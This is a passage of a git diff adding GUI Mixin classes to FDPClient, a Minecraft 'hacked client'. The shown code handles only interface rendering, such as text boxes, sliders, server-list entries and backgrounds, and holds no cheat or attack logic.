return Keyboard.getEventKey() == 0 && Keyboard.getEventCharacter() >= ' ' || Keyboard.getEventKeyState(); + } + + @Inject(method = "drawWorldBackground", at = @At("HEAD"), cancellable = true) + private void drawWorldBackground(final CallbackInfo callbackInfo) { + if (!fDPClient$shouldRenderBackground()) { + callbackInfo.cancel(); + } + final HUD hud = HUD.INSTANCE; + + if (hud.getInventoryParticle().get() && mc.thePlayer != null) { + final ScaledResolution scaledResolution = new ScaledResolution(mc); + final int width = scaledResolution.getScaledWidth(); + final int height = scaledResolution.getScaledHeight(); + net.ccbluex.liquidbounce.utils.render.ParticleUtils.drawParticles(Mouse.getX() * width / mc.displayWidth, height - Mouse.getY() * height / mc.displayHeight - 1); + } + } + + @Inject(method = "drawScreen", at = @At("HEAD")) + private void drawScreen(int p_drawScreen_1_, int p_drawScreen_2_, float p_drawScreen_3_,final CallbackInfo callbackInfo) { + } + + @ModifyVariable(method = "sendChatMessage(Ljava/lang/String;)V", at = @At("HEAD"), argsOnly = true) + private String sendChatMessage(String p_sendChatMessage_1_){ + if(p_sendChatMessage_1_.length()>100){ + return p_sendChatMessage_1_.substring(0,100); + } + return p_sendChatMessage_1_; + } + + @Inject(method = "drawDefaultBackground", at = @At("HEAD"), cancellable = true) + private void drawDefaultBackground(final CallbackInfo callbackInfo){ + if(mc.currentScreen instanceof GuiContainer){ + callbackInfo.cancel(); + } + } + + /** + * @author CCBlueX + */ + @Inject(method = "drawBackground", at = @At("RETURN")) + private void drawClientBackground(final CallbackInfo callbackInfo) { + GlStateManager.disableLighting(); + GlStateManager.disableFog(); + if(GuiBackground.Companion.getEnabled()) { + if (FDPClient.INSTANCE.getBackground() != null) { + mc.getTextureManager().bindTexture(FDPClient.INSTANCE.getBackground()); + Gui.drawModalRectWithCustomSizedTexture(0, 0, 0f, 0f, width, height, width, height); + } + + GlStateManager.resetColor(); + if (GuiBackground.Companion.getParticles()) + ParticleUtils.drawParticles(Mouse.getX() * width / mc.displayWidth, height - Mouse.getY() * height / mc.displayHeight - 1); + } + } + + @Inject(method = "drawBackground", at = @At("RETURN")) + private void drawParticles(final CallbackInfo callbackInfo) { + if(GuiBackground.Companion.getParticles()) + ParticleUtils.drawParticles(Mouse.getX() * width / mc.displayWidth, height - Mouse.getY() * height / mc.displayHeight - 1); + } + + @Inject(method = "handleComponentHover", at = @At("HEAD")) + private void handleHoverOverComponent(IChatComponent component, int x, int y, final CallbackInfo callbackInfo) { + if (component == null || component.getChatStyle().getChatClickEvent() == null) + return; + + final ChatStyle chatStyle = component.getChatStyle(); + + final ClickEvent clickEvent = chatStyle.getChatClickEvent(); + final HoverEvent hoverEvent = chatStyle.getChatHoverEvent(); + + drawHoveringText(Collections.singletonList("§c§l" + clickEvent.getAction().getCanonicalName().toUpperCase() + ": §a" + clickEvent.getValue()), x, y - (hoverEvent != null ? 17 : 0)); + } + + @Inject(method = "drawHoveringText*", at = @At("HEAD")) + private void drawHoveringText(CallbackInfo ci) { + GlStateManager.enableLighting(); + GlStateManager.enableDepth(); + RenderHelper.enableStandardItemLighting(); + GlStateManager.enableRescaleNormal(); + } + + /** + * Inject action performed. + * + * @param button the button + * @param callbackInfo the callback info + */ + @Inject(method = "actionPerformed", at = @At("RETURN")) + protected void injectActionPerformed(GuiButton button, CallbackInfo callbackInfo) { + this.fDPClient$injectedActionPerformed(button); + } + + + /** + * Should render background boolean. + * + * @return the boolean + */ + @Unique + protected boolean fDPClient$shouldRenderBackground() { + return true; + } + + /** + * Injected action performed. + * + * @param button the button + */ + @Unique + protected void fDPClient$injectedActionPerformed(GuiButton button) { + + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreenOptionsSounds.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreenOptionsSounds.java new file mode 100644 index 0000000..e0872bf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreenOptionsSounds.java @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.settings.GameSettings; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.Redirect; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(targets = "net.minecraft.client.gui.GuiScreenOptionsSounds$Button") +public class MixinGuiScreenOptionsSounds { + + // don't send a packet for every frame the slider is dragged, instead save that for when the slider is released + @Redirect(method = "mouseDragged(Lnet/minecraft/client/Minecraft;II)V", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/settings/GameSettings;saveOptions()V")) + private void cancelSaving(GameSettings instance) { + // no-op + } + + @Inject(method = "mouseReleased(II)V", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/audio/SoundHandler;playSound(Lnet/minecraft/client/audio/ISound;)V")) + private void save(int mouseX, int mouseY, CallbackInfo ci) { + Minecraft.getMinecraft().gameSettings.saveOptions(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreenResourcePacks.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreenResourcePacks.java new file mode 100644 index 0000000..35521b6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreenResourcePacks.java @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiScreenResourcePacks; +import net.minecraft.client.resources.IResourcePack; +import net.minecraft.client.resources.ResourcePackRepository; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiScreenResourcePacks.class) +public class MixinGuiScreenResourcePacks { + @Inject(method = "actionPerformed", at = @At(value = "INVOKE", target = "Ljava/util/Collections;reverse(Ljava/util/List;)V", remap = false)) + private void clearHandles(CallbackInfo ci) { + ResourcePackRepository repository = Minecraft.getMinecraft().getResourcePackRepository(); + for (ResourcePackRepository.Entry entry : repository.getRepositoryEntries()) { + IResourcePack current = repository.getResourcePackInstance(); + if (current == null || !entry.getResourcePackName().equals(current.getPackName())) + entry.closeResourcePack(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSlider.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSlider.java new file mode 100644 index 0000000..5f46544 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSlider.java @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiSlider; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +@Mixin(GuiSlider.class) +public class MixinGuiSlider { + + @Redirect(method = "mouseDragged", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/gui/GuiSlider;drawTexturedModalRect(IIIIII)V"), require = 2) + public void redirectedDrawRect(GuiSlider guiSlider, int x, int y, int textureX, int textureY, int width, int height) { + Gui.drawRect(x, y - 2, x + width, y + height + 2, 0xFF4751C0); + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSlot.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSlot.java new file mode 100644 index 0000000..908473d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSlot.java @@ -0,0 +1,250 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiSlot; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.WorldRenderer; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.util.MathHelper; +import net.minecraftforge.fml.relauncher.Side; +import net.minecraftforge.fml.relauncher.SideOnly; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.awt.*; + +@Mixin(GuiSlot.class) +@SideOnly(Side.CLIENT) +public abstract class MixinGuiSlot { + + @Shadow + protected boolean field_178041_q; + + @Shadow + protected int mouseX; + + @Shadow + protected int slotHeight; + + @Shadow + protected int headerPadding; + + @Shadow + protected int mouseY; + + @Shadow + protected abstract void drawBackground(); + + @Shadow + protected abstract void bindAmountScrolled(); + + @Shadow + public int left; + + @Shadow + public int top; + + @Shadow + public int width; + + @Shadow + protected float amountScrolled; + + @Shadow + protected boolean hasListHeader; + + @Shadow + protected boolean showSelectionBox; + + @Shadow + protected abstract void drawListHeader(int p_148129_1_, int p_148129_2_, Tessellator p_148129_3_); + + @Shadow + protected abstract void drawSelectionBox(int p_148120_1_, int p_148120_2_, int mouseXIn, int mouseYIn); + + @Shadow + protected abstract int getSize(); + + @Shadow + public int right; + + @Shadow + public int bottom; + + @Shadow + @Final + protected Minecraft mc; + + @Shadow + public int height; + + @Shadow + protected abstract int getContentHeight(); + + @Shadow + public abstract int func_148135_f(); + + @Shadow + protected abstract void func_148142_b(int p_148142_1_, int p_148142_2_); + + @Shadow + public abstract int getListWidth(); + + @Shadow + protected abstract void func_178040_a(int p_178040_1_, int p_178040_2_, int p_178040_3_); + + @Shadow + protected abstract void drawSlot(int entryID, int p_180791_2_, int p_180791_3_, int p_180791_4_, int mouseXIn, int mouseYIn); + + + @Shadow + protected abstract boolean isSelected(int slotIndex); + /** + * @author XiGua + */ + @Inject(method = "drawSelectionBox", at = @At("HEAD"), cancellable = true) + public void drawSelectionBoxs(int p_148120_1_, int p_148120_2_, int mouseXIn, int mouseYIn, CallbackInfo ci) { + int i = this.getSize(); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + + for (int j = 0; j < i; ++j) { + int k = p_148120_2_ + j * this.slotHeight + this.headerPadding; + int l = this.slotHeight - 4; + + if (k > this.bottom || k + l < this.top) { + this.func_178040_a(j, p_148120_1_, k); + } + + if (this.showSelectionBox && this.isSelected(j)) { + int i1 = this.left + (this.width / 2 - this.getListWidth() / 2); + int j1 = this.left + this.width / 2 + this.getListWidth() / 2; + int color = new Color(0, 0, 0, 90).getRGB(); + int radius = 4; + float xPosition = p_148120_1_ - 3; + float yPosition = k - 3; + float width = j1 - i1 + 3; + float height = l + 6; + + RenderUtils.drawRoundedCornerRect(xPosition, yPosition, xPosition + width , + yPosition + height,radius, color); + RenderUtils.drawRoundedCornerRect(xPosition-0.3f, yPosition-0.3f, xPosition + width + 0.3f , + yPosition + height + 0.3f,radius-1, color); + //GlStateManager.enableTexture2D(); + } + + this.drawSlot(j, p_148120_1_, k, l, mouseXIn, mouseYIn); + } + ci.cancel(); + } + + + + /** + * @author CCBlueX + */ + @Overwrite + public void drawScreen(int mouseXIn, int mouseYIn, float p_148128_3_) { + if(this.field_178041_q) { + this.mouseX = mouseXIn; + this.mouseY = mouseYIn; + this.drawBackground(); + int i = this.getScrollBarX(); + int j = i + 6; + this.bindAmountScrolled(); + GlStateManager.disableLighting(); + GlStateManager.disableFog(); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + int k = this.left + this.width / 2 - this.getListWidth() / 2 + 2; + int l = this.top + 4 - (int) this.amountScrolled; + if (this.hasListHeader) { + this.drawListHeader(k, l, tessellator); + } + + RenderUtils.makeScissorBox(left, top, right, bottom); + + GL11.glEnable(GL11.GL_SCISSOR_TEST); + + this.drawSelectionBox(k, l + 2, mouseXIn, mouseYIn + 2); + + GL11.glDisable(GL11.GL_SCISSOR_TEST); + + GlStateManager.disableDepth(); + int i1 = 4; + + // ClientCode + Gui.drawRect(0, 0, this.width, this.top, Integer.MIN_VALUE); + Gui.drawRect(0, this.bottom, this.width, this.height, Integer.MIN_VALUE); + + GlStateManager.enableBlend(); + GlStateManager.tryBlendFuncSeparate(770, 771, 0, 1); + GlStateManager.disableAlpha(); + GlStateManager.shadeModel(7425); + GlStateManager.disableTexture2D(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX_COLOR); + worldrenderer.pos(this.left, this.top + i1, 0.0D).tex(0.0D, 1.0D).color(0, 0, 0, 0).endVertex(); + worldrenderer.pos(this.right, this.top + i1, 0.0D).tex(1.0D, 1.0D).color(0, 0, 0, 0).endVertex(); + worldrenderer.pos(this.right, this.top, 0.0D).tex(1.0D, 0.0D).color(0, 0, 0, 255).endVertex(); + worldrenderer.pos(this.left, this.top, 0.0D).tex(0.0D, 0.0D).color(0, 0, 0, 255).endVertex(); + tessellator.draw(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX_COLOR); + worldrenderer.pos(this.left, this.bottom, 0.0D).tex(0.0D, 1.0D).color(0, 0, 0, 255).endVertex(); + worldrenderer.pos(this.right, this.bottom, 0.0D).tex(1.0D, 1.0D).color(0, 0, 0, 255).endVertex(); + worldrenderer.pos(this.right, this.bottom - i1, 0.0D).tex(1.0D, 0.0D).color(0, 0, 0, 0).endVertex(); + worldrenderer.pos(this.left, this.bottom - i1, 0.0D).tex(0.0D, 0.0D).color(0, 0, 0, 0).endVertex(); + tessellator.draw(); + int j1 = this.func_148135_f(); + if (j1 > 0) { + int k1 = (this.bottom - this.top) * (this.bottom - this.top) / this.getContentHeight(); + k1 = MathHelper.clamp_int(k1, 32, this.bottom - this.top - 8); + int l1 = (int) this.amountScrolled * (this.bottom - this.top - k1) / j1 + this.top; + if (l1 < this.top) { + l1 = this.top; + } + + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX_COLOR); + worldrenderer.pos(i, this.bottom, 0.0D).tex(0.0D, 1.0D).color(0, 0, 0, 255).endVertex(); + worldrenderer.pos(j, this.bottom, 0.0D).tex(1.0D, 1.0D).color(0, 0, 0, 255).endVertex(); + worldrenderer.pos(j, this.top, 0.0D).tex(1.0D, 0.0D).color(0, 0, 0, 255).endVertex(); + worldrenderer.pos(i, this.top, 0.0D).tex(0.0D, 0.0D).color(0, 0, 0, 255).endVertex(); + tessellator.draw(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX_COLOR); + worldrenderer.pos(i, l1 + k1, 0.0D).tex(0.0D, 1.0D).color(128, 128, 128, 255).endVertex(); + worldrenderer.pos(j, l1 + k1, 0.0D).tex(1.0D, 1.0D).color(128, 128, 128, 255).endVertex(); + worldrenderer.pos(j, l1, 0.0D).tex(1.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + worldrenderer.pos(i, l1, 0.0D).tex(0.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + tessellator.draw(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX_COLOR); + worldrenderer.pos(i, l1 + k1 - 1, 0.0D).tex(0.0D, 1.0D).color(192, 192, 192, 255).endVertex(); + worldrenderer.pos(j - 1, l1 + k1 - 1, 0.0D).tex(1.0D, 1.0D).color(192, 192, 192, 255).endVertex(); + worldrenderer.pos(j - 1, l1, 0.0D).tex(1.0D, 0.0D).color(192, 192, 192, 255).endVertex(); + worldrenderer.pos(i, l1, 0.0D).tex(0.0D, 0.0D).color(192, 192, 192, 255).endVertex(); + tessellator.draw(); + } + + this.func_148142_b(mouseXIn, mouseYIn); + GlStateManager.enableTexture2D(); + GlStateManager.shadeModel(7424); + GlStateManager.enableAlpha(); + GlStateManager.disableBlend(); + } + } + + /** + * @author CCBlueX + */ + @Overwrite + protected int getScrollBarX() { + return this.width - 5; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSpectator.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSpectator.java new file mode 100644 index 0000000..ee9da09 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiSpectator.java @@ -0,0 +1,25 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.Render2DEvent; +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.minecraft.client.gui.GuiSpectator; +import net.minecraft.client.gui.ScaledResolution; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiSpectator.class) +public class MixinGuiSpectator { + + @Inject(method = "renderTooltip", at = @At("RETURN")) + private void renderTooltipPost(ScaledResolution p_175264_1_, float p_175264_2_, CallbackInfo callbackInfo) { + FDPClient.eventManager.callEvent(new Render2DEvent(p_175264_2_, StaticStorage.scaledResolution)); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiTextField.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiTextField.java new file mode 100644 index 0000000..c47d09b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiTextField.java @@ -0,0 +1,134 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.GuiTextField; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.awt.*; + +@Mixin(GuiTextField.class) +public abstract class MixinGuiTextField { + + @Shadow + public abstract boolean getVisible(); + @Shadow + public abstract boolean getEnableBackgroundDrawing(); + @Shadow + public int id; + @Shadow + public FontRenderer fontRendererInstance; + @Shadow + public int xPosition; + @Shadow + public int yPosition; + @Shadow + public int width; + @Shadow + public int height; + @Shadow + private String text = ""; + @Shadow + private int maxStringLength = 32; + @Shadow + private int cursorCounter; + @Shadow + private boolean enableBackgroundDrawing = true; + @Shadow + private boolean canLoseFocus = true; + @Shadow + private boolean isFocused; + @Shadow + private boolean isEnabled = true; + @Shadow + private int lineScrollOffset; + @Shadow + private int cursorPosition; + @Shadow + private int selectionEnd; + private int enabledColor = 14737632; + @Shadow + private int disabledColor = 7368816; + @Shadow + public abstract int getWidth(); + @Shadow + public abstract int getMaxStringLength(); + @Shadow + public abstract void drawCursorVertical(int p_drawCursorVertical_1_, int p_drawCursorVertical_2_, int p_drawCursorVertical_3_, int p_drawCursorVertical_4_); + /** + * @author XiGua + */ + @Inject(method = "drawTextBox", at = @At("HEAD"), cancellable = true) + public void drawTextBox(CallbackInfo ci) { + if (this.getVisible()) + { + if (this.getEnableBackgroundDrawing()) + { + RenderUtils.drawRoundedCornerRect(this.xPosition - 1, this.yPosition - 1, this.xPosition + this.width + 1, this.yPosition + this.height + 1,2, new Color(255,255,255,50).getRGB()); + RenderUtils.drawRoundedCornerRect(this.xPosition, this.yPosition, this.xPosition + this.width, this.yPosition + this.height,2, new Color(0,0,0,200).getRGB()); + } + + int i = this.isEnabled ? this.enabledColor : this.disabledColor; + int j = this.cursorPosition - this.lineScrollOffset; + int k = this.selectionEnd - this.lineScrollOffset; + String s = this.fontRendererInstance.trimStringToWidth(this.text.substring(this.lineScrollOffset), this.getWidth()); + boolean flag = j >= 0 && j <= s.length(); + boolean flag1 = this.isFocused && this.cursorCounter / 6 % 2 == 0 && flag; + int l = this.enableBackgroundDrawing ? this.xPosition + 4 : this.xPosition; + int i1 = this.enableBackgroundDrawing ? this.yPosition + (this.height - 8) / 2 : this.yPosition; + int j1 = l; + + if (k > s.length()) + { + k = s.length(); + } + + if (s.length() > 0) + { + String s1 = flag ? s.substring(0, j) : s; + j1 = this.fontRendererInstance.drawStringWithShadow(s1, (float)l+5, (float)i1+2, i); + } + + boolean flag2 = this.cursorPosition < this.text.length() || this.text.length() >= this.getMaxStringLength(); + int k1 = j1; + + if (!flag) + { + k1 = j > 0 ? l + this.width : l; + } + else if (flag2) + { + k1 = j1 - 1; + --j1; + } + + if (s.length() > 0 && flag && j < s.length()) + { + j1 = this.fontRendererInstance.drawStringWithShadow(s.substring(j), (float)j1+5, (float)i1+2, i); + } + + if (flag1) + { + if (flag2) + { + RenderUtils.drawRoundedCornerRect(k1, i1 - 1, k1 + 1, i1 + 1 + this.fontRendererInstance.FONT_HEIGHT,3, -3092272); + } + else + { + this.fontRendererInstance.drawStringWithShadow("_", (float)k1+2, (float)i1+2, i); + } + } + + if (k != j) + { + int l1 = l + this.fontRendererInstance.getStringWidth(s.substring(0, k)); + this.drawCursorVertical(k1, i1 - 1, l1 - 1, i1 + 1 + this.fontRendererInstance.FONT_HEIGHT); + } + } + ci.cancel(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinServerListEntryNormal.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinServerListEntryNormal.java new file mode 100644 index 0000000..c9643b8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinServerListEntryNormal.java @@ -0,0 +1,188 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import com.google.common.util.concurrent.ThreadFactoryBuilder; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiMultiplayer; +import net.minecraft.client.gui.ServerListEntryNormal; +import net.minecraft.client.multiplayer.ServerData; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.texture.DynamicTexture; +import net.minecraft.util.EnumChatFormatting; +import net.minecraft.util.ResourceLocation; +import net.minecraftforge.fml.client.FMLClientHandler; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.net.UnknownHostException; +import java.util.List; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.ThreadPoolExecutor; + +@Mixin(ServerListEntryNormal.class) +public abstract class MixinServerListEntryNormal { + @Shadow + private static final ThreadPoolExecutor field_148302_b = new ScheduledThreadPoolExecutor(5, (new ThreadFactoryBuilder()).setNameFormat("Server Pinger #%d").setDaemon(true).build()); + + @Shadow + private static ResourceLocation UNKNOWN_SERVER; + @Shadow + private static ResourceLocation SERVER_SELECTION_BUTTONS; + @Shadow + private GuiMultiplayer owner; + @Shadow + private Minecraft mc; + @Shadow + private ServerData server; + @Shadow + private ResourceLocation serverIcon; + @Shadow + private String field_148299_g; + @Shadow + private DynamicTexture field_148305_h; + @Shadow + private long field_148298_f; + + @Shadow + public abstract void prepareServerIcon(); + @Shadow + public abstract boolean func_178013_b(); + + @Shadow + protected abstract void drawTextureAt(int p_drawTextureAt_1_, int p_drawTextureAt_2_, ResourceLocation p_drawTextureAt_3_); + + @Inject(method = "drawEntry", at = @At("HEAD"), cancellable = true) + public void drawEntry(int p_drawEntry_1_, int p_drawEntry_2_, int p_drawEntry_3_, int p_drawEntry_4_, int p_drawEntry_5_, int p_drawEntry_6_, int p_drawEntry_7_, boolean p_drawEntry_8_, CallbackInfo ci) { + if (!this.server.field_78841_f) { + this.server.field_78841_f = true; + this.server.pingToServer = -2L; + this.server.serverMOTD = ""; + this.server.populationInfo = ""; + field_148302_b.submit(() -> { + try { + owner.getOldServerPinger().ping(server); + } catch (UnknownHostException var2) { + server.pingToServer = -1L; + server.serverMOTD = EnumChatFormatting.DARK_RED + "Can't resolve hostname"; + } catch (Exception var3) { + server.pingToServer = -1L; + server.serverMOTD = EnumChatFormatting.DARK_RED + "Can't connect to server."; + } + + }); + } + + boolean flag = this.server.version > 47; + boolean flag1 = this.server.version < 47; + boolean flag2 = flag || flag1; + this.mc.fontRendererObj.drawStringWithShadow(this.server.serverName, p_drawEntry_2_ + 32 + 3, p_drawEntry_3_ + 1, 16777215); + List<String> list = this.mc.fontRendererObj.listFormattedStringToWidth(FMLClientHandler.instance().fixDescription(this.server.serverMOTD), p_drawEntry_4_ - 48 - 2); + + for (int i = 0; i < Math.min(list.size(), 2); ++i) { + this.mc.fontRendererObj.drawStringWithShadow(list.get(i), p_drawEntry_2_ + 32 + 3, p_drawEntry_3_ + 12 + this.mc.fontRendererObj.FONT_HEIGHT * i, 8421504); + } + + String s2 = flag2 ? EnumChatFormatting.DARK_RED + this.server.gameVersion : this.server.populationInfo; + int j = this.mc.fontRendererObj.getStringWidth(s2); + this.mc.fontRendererObj.drawStringWithShadow(s2, p_drawEntry_2_ + p_drawEntry_4_ - j - 15 - 2, p_drawEntry_3_ + 1, 8421504); + int k = 0; + String s = null; + int l; + String s1; + if (flag2) { + l = 5; + s1 = flag ? "Client out of date!" : "Server out of date!"; + s = this.server.playerList; + } else if (this.server.field_78841_f && this.server.pingToServer != -2L) { + if (this.server.pingToServer < 0L) { + l = 5; + } else if (this.server.pingToServer < 150L) { + l = 0; + } else if (this.server.pingToServer < 300L) { + l = 1; + } else if (this.server.pingToServer < 600L) { + l = 2; + } else if (this.server.pingToServer < 1000L) { + l = 3; + } else { + l = 4; + } + + if (this.server.pingToServer < 0L) { + s1 = "(no connection)"; + } else { + s1 = this.server.pingToServer + "ms"; + s = this.server.playerList; + } + } else { + k = 1; + l = (int) (Minecraft.getSystemTime() / 100L + (long) (p_drawEntry_1_ * 2L) & 7L); + if (l > 4) { + l = 8 - l; + } + + s1 = "Pinging..."; + } + + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + this.mc.getTextureManager().bindTexture(Gui.icons); + Gui.drawModalRectWithCustomSizedTexture(p_drawEntry_2_ + p_drawEntry_4_ - 15, p_drawEntry_3_, (float) (k * 10), (float) (176 + l * 8), 10, 8, 256.0F, 256.0F); + if (this.server.getBase64EncodedIconData() != null && !this.server.getBase64EncodedIconData().equals(this.field_148299_g)) { + this.field_148299_g = this.server.getBase64EncodedIconData(); + this.prepareServerIcon(); + this.owner.getServerList().saveServerList(); + } + + if (this.field_148305_h != null) { + this.drawTextureAt(p_drawEntry_2_, p_drawEntry_3_, this.serverIcon); + } else { + this.drawTextureAt(p_drawEntry_2_, p_drawEntry_3_, UNKNOWN_SERVER); + } + + int i1 = p_drawEntry_6_ - p_drawEntry_2_; + int j1 = p_drawEntry_7_ - p_drawEntry_3_; + String tooltip = FMLClientHandler.instance().enhanceServerListEntry(null, this.server, p_drawEntry_2_, p_drawEntry_4_, p_drawEntry_3_, i1, j1); + if (tooltip != null) { + this.owner.setHoveringText(tooltip); + } else if (i1 >= p_drawEntry_4_ - 15 && i1 <= p_drawEntry_4_ - 5 && j1 >= 0 && j1 <= 8) { + this.owner.setHoveringText(s1); + } else if (i1 >= p_drawEntry_4_ - j - 15 - 2 && i1 <= p_drawEntry_4_ - 15 - 2 && j1 >= 0 && j1 <= 8) { + this.owner.setHoveringText(s); + } + + if (this.mc.gameSettings.touchscreen || p_drawEntry_8_) { + this.mc.getTextureManager().bindTexture(SERVER_SELECTION_BUTTONS); + Gui.drawRect(p_drawEntry_2_, p_drawEntry_3_, p_drawEntry_2_ + 32, p_drawEntry_3_ + 32, -1601138544); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + int k1 = p_drawEntry_6_ - p_drawEntry_2_; + int l1 = p_drawEntry_7_ - p_drawEntry_3_; + if (this.func_178013_b()) { + if (k1 < 32 && k1 > 16) { + Gui.drawModalRectWithCustomSizedTexture(p_drawEntry_2_, p_drawEntry_3_, 0.0F, 32.0F, 32, 32, 256.0F, 256.0F); + } else { + Gui.drawModalRectWithCustomSizedTexture(p_drawEntry_2_, p_drawEntry_3_, 0.0F, 0.0F, 32, 32, 256.0F, 256.0F); + } + } + + if (this.owner.func_175392_a(null, p_drawEntry_1_)) { + if (k1 < 16 && l1 < 16) { + Gui.drawModalRectWithCustomSizedTexture(p_drawEntry_2_, p_drawEntry_3_, 96.0F, 32.0F, 32, 32, 256.0F, 256.0F); + } else { + Gui.drawModalRectWithCustomSizedTexture(p_drawEntry_2_, p_drawEntry_3_, 96.0F, 0.0F, 32, 32, 256.0F, 256.0F); + } + } + + if (this.owner.func_175394_b(null, p_drawEntry_1_)) { + if (k1 < 16 && l1 > 16) { + Gui.drawModalRectWithCustomSizedTexture(p_drawEntry_2_, p_drawEntry_3_, 64.0F, 32.0F, 32, 32, 256.0F, 256.0F); + } else { + Gui.drawModalRectWithCustomSizedTexture(p_drawEntry_2_, p_drawEntry_3_, 64.0F, 0.0F, 32, 32, 256.0F, 256.0F); + } + } + } + ci.cancel(); + } +} diff --git 